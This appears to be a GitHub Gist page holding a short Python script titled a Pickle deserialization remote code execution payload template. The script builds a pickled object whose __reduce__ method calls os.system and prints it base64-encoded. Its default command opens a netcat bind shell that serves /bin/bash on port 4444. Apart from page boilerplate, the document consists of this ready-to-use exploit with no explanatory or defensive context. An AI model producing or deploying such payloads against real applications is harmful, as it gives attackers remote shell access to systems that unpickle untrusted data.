-
-
Save superuser5/52ef3659d9c4e62a5e93dc212ae32e5a to your computer and use it in GitHub Desktop.
Python's Pickle Remote Code Execution payload template.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| # | |
| # Pickle deserialization RCE payload. | |
| # To be invoked with command to execute at it's first parameter. | |
| # Otherwise, the default one will be used. | |
| # | |
| import cPickle | |
| import os | |
| import sys | |
| import base64 | |
| DEFAULT_COMMAND = "netcat -c '/bin/bash -i' -l -p 4444" | |
| COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND | |
| class PickleRce(object): | |
| def __reduce__(self): | |
| return (os.system,(COMMAND,)) | |
| print base64.b64encode(cPickle.dumps(PickleRce())) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment